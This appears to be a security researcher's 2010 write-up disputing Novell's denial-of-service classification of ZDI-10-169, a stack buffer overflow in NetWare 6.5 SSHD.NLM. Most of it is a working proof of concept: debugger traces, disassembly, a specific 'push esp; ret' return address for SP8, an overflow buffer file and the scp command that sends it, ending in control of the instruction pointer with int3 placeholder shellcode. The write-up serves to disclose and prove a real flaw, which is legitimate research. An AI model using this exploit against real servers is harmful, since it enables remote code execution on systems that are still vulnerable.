This is a little information clarifying the exploitability of ZDI-10-169 as discovered by ZDI researcher Francis Provencher. Novell has classified this bug as a Denial of Service and will not be issuing a patch. Novell's official statement is available here.
For the sake of lulz, please narrate this to yourself in the voice of the Old Spice Guy:
Hello World!
Look at Novell's report:
A vulnerability has been identified in NetWare 6.5 SSH which, if exploited
repeated[sic], could be used for a Denial-of-Service Attack. The flaw exists in
SSHD.NLM and one of it's sub-modules, SFTP-SVR.NLM.
Now look back to mine:
The flaw exists within SSHD.NLM. When the application attempts to resolve an
absolute path on the server, a 512 byte destination buffer is used without
bounds checking. By providing a large enough value, an attacker can cause a
buffer to be overflowed. Successful exploitation results in remote code
execution under the context of the server.
Look at Novell's module:
# .m SSHD.NLM
SSHD.NLM OpenSSH daemon(NICI) 3.7.1p6 (SP8 build 78)
Loaded from [SYS:SYSTEM\] on Aug 25, 2010 1:15:12 pm
[145] OS address space
Version 3.71.05 October 21, 2008
Code Address: 8E187000h Length: 00078EF5h
Data Address: 9A0A2000h Length: 0003416Ah
Now back to mine:
# .m SSHD.NLM
SSHD.NLM OpenSSH daemon(NICI) 3.7.1p6 (SP8 build 78)
Loaded from [SYS:SYSTEM\] on Aug 25, 2010 1:15:12 pm
[145] OS address space
Version 3.71.05 October 21, 2008
Code Address: 8E187000h Length: 00078EF5h
Data Address: 9A0A2000h Length: 0003416Ah
Now look at Novell's code:
.bss:0002DAE1
.bss:0002DAE1 loc_2DAE1:
.bss:0002DAE1 424 mov ebx, [ebp+var_40C]
.bss:0002DAE7 424 dec ebx
.bss:0002DAE8 424 mov eax, [ebp+var_41C]
.bss:0002DAEE 424 mov eax, [eax+ebx*4]
.bss:0002DAF1 424 push eax ; arg
.bss:0002DAF2 428 mov eax, [ebp+var_414]
.bss:0002DAF8 428 mov eax, [eax+60h]
.bss:0002DAFB 428 push eax ; arg
.bss:0002DAFC 42C push offset aSS_8 ; fmt ("%s/%s")
.bss:0002DB01 430 lea eax, [ebp+var_408]
.bss:0002DB07 430 push eax ; dst
.bss:0002DB08 434 call LIBC@sprintf
.bss:0002DB0D 434 add esp, 10h
And their function return:
# dds ebp-8
Color Code: Code Data Allocated Free Mapped Not Mapped
9A452DC8 --8E228240 ?
9A452DCC --913249A0 ?
9A452DD0 --9A452DE4 ?
9A452DD4 823EBB98 (LIBC.NLM|ThreadStartFunc+D8)
Now supply a sufficiently large path as the source of a secure copy (scp).
Now back to mine:
# dds ebp-8
Color Code: Code Data Allocated Free Mapped Not Mapped
9A452DC8 --41414141 ?
9A452DCC --41414141 ?
9A452DD0 --41414141 ?
9A452DD4 823E0041 (LIBC.NLM|_mf_10to2+B1)
Note that we have overwritten two bytes in the return address (0x41 and the 0x00 aka null terminator) Now lets let the function clean up and return:
.bss:0002DD9A 424 lea esp, [ebp-8]
.bss:0002DD9D 00C pop esi
.bss:0002DD9E 008 pop ebx
.bss:0002DD9F 004 pop ebp
.bss:0002DDA0 000 retn
Now look at the debugger:
# g
Break at 8E1B4D9A because of break 3 (instruction execute)
Current Focus Processor: 00
EAX = 00000005 EBX = 00000003 ECX = 9A4783A0 EDX = 9A452994
ESI = 9A4529C8 EDI = 94DEB040 EBP = 9A452DD0 ESP = 9A4529B0
EIP = 8E1B4D9A FLAGS = 00000206 (PF IF)
8E1B4D9A?8D65F8 LEA ESP, [EBP-08]Display next 3 instructions:
# u eip 3
8E1B4D9D 5E POP ESI
8E1B4D9E 5B POP EBX
8E1B4D9F 5D POP EBPDisplay next three addresses on the stack (these correspond to the three pop's shown above)
# dds esp 3
Color Code: Code Data Allocated Free Mapped Not Mapped
9A452DC8 --41414141 ?
9A452DCC --41414141 ?
9A452DD0 --41414141 ?Execute those instructions:
# p 3
Break at 8E1B4DA0 because of proceed single step
Current Focus Processor: 00
EAX = 00000005 EBX = 41414141 ECX = 9A4783A0 EDX = 9A452994
ESI = 41414141 EDI = 94DEB040 EBP = 41414141 ESP = 9A452DD4
EIP = 8E1B4DA0 FLAGS = 00000206 (PF IF)
8E1B4DA0 C3 RET
Now look at Novell's return address:
# dds esp
Color Code: Code Data Allocated Free Mapped Not Mapped
9A452DD4 823EBB98 (LIBC.NLM|ThreadStartFunc+D8)
Now back to mine:
# dds esp
Color Code: Code Data Allocated Free Mapped Not Mapped
9A452DD4 823E0041 (LIBC.NLM|_mf_10to2+B1)
Sadly this isn't a Denial of Service.
* Note: I only overwrote 2 bytes of the return address so you can easily see the modification. We can overwrite it in its entirety.
Exploiting this issue:
We partially overwrite the return address above using a single \x41 and the terminating null from sprintf, this isn't very useful. A much better choice would be the address of a:
push esp
retThe address of this instruction sequence is from multiple versions of LIBC.NLM is available at:
https://www.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/netware/smb/lsass_cifs.rb
SP8 was missing but a quick byte search yielded this address:
[ 'NetWare 6.5 SP8', { 'Ret' => 0x823C870C } ], # push esp - ret (libc.nlm)
So update the buffer (filename) with the address of 'push esp; ret'
and tack on some \xcc (int3) so it has something to execute.
$ cat nssh.txt
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCCCCCCC\x0c\x87\x3c\x82
\xcc\xcc\xcc\xcc\xcc\xcc\xcc
$ scp user@172.22.33.11:$(echo -e `cat nssh.txt`) .
Now look at the stack:
# dds
Color Code: Code Data Allocated Free Mapped Not Mapped
9BADAE14 823C870C (LIBC.NLM|SetThrType+C)
9BADAE18 --CCCCCCCC (LOADER.NLM|UserAddressSpace+C4CCCCC)
9BADAE1C --00CCCCCC ?
Now back to the instruction pointer:
Loading address of '\xcc' onto stack.
# r
k at 823C870C because of proceed single step
Current Focus Processor: 00
EAX = 00000005 EBX = 43434342 ECX = 9A1367A0 EDX = 9BADA9D4
ESI = 42424242 EDI = 9B8790E0 EBP = 43434343 ESP = 9BADAE18
EIP = 823C870C FLAGS = 00000206 (PF IF)
823C870C 54 PUSH ESP
Return (pop this address into eip)
# p
Break at 823C870D because of proceed single step
Current Focus Processor: 00
EAX = 00000005 EBX = 43434342 ECX = 9A1367A0 EDX = 9BADA9D4
ESI = 42424242 EDI = 9B8790E0 EBP = 43434343 ESP = 9BADAE14
EIP = 823C870D FLAGS = 00000206 (PF IF)
823C870D C3 RET
Now back to the stack:
# dds
Color Code: Code Data Allocated Free Mapped Not Mapped
9BADAE14 --9BADAE18 ?
9BADAE18 --CCCCCCCC (LOADER.NLM|UserAddressSpace+C4CCCCC)
9BADAE1C --00CCCCCC ?
Now look at Novell's report:
A vulnerability has been identified in NetWare 6.5 SSH which, if exploited
repeated[sic], could be used for a Denial-of-Service Attack.
Now look back.
The instructions are now mine, anything is possible when you control EIP.
# p
Break at 9BADAE18 because of proceed single step
Current Focus Processor: 00
EAX = 00000005 EBX = 43434342 ECX = 9A1367A0 EDX = 9BADA9D4
ESI = 42424242 EDI = 9B8790E0 EBP = 43434343 ESP = 9BADAE18
EIP = 9BADAE18 FLAGS = 00000206 (PF IF)
9BADAE18 CC INT 3
I'm in a debugger:
# b
Active breakpoints.
0 E X S 8E1B4AE1 SSHD.NLM|SCPSShellThread+321
1 E X S 8E1B4A6D SSHD.NLM|SCPSShellThread+2AD
2 E X S 8E1B47C0 SSHD.NLM|SCPSShellThread
3 E X S 8E1B4D9A SSHD.NLM|SCPSShellThread+5DA
4 E X S 8E1B4B0D SSHD.NLM|SCPSShellThread+34D
-Zef
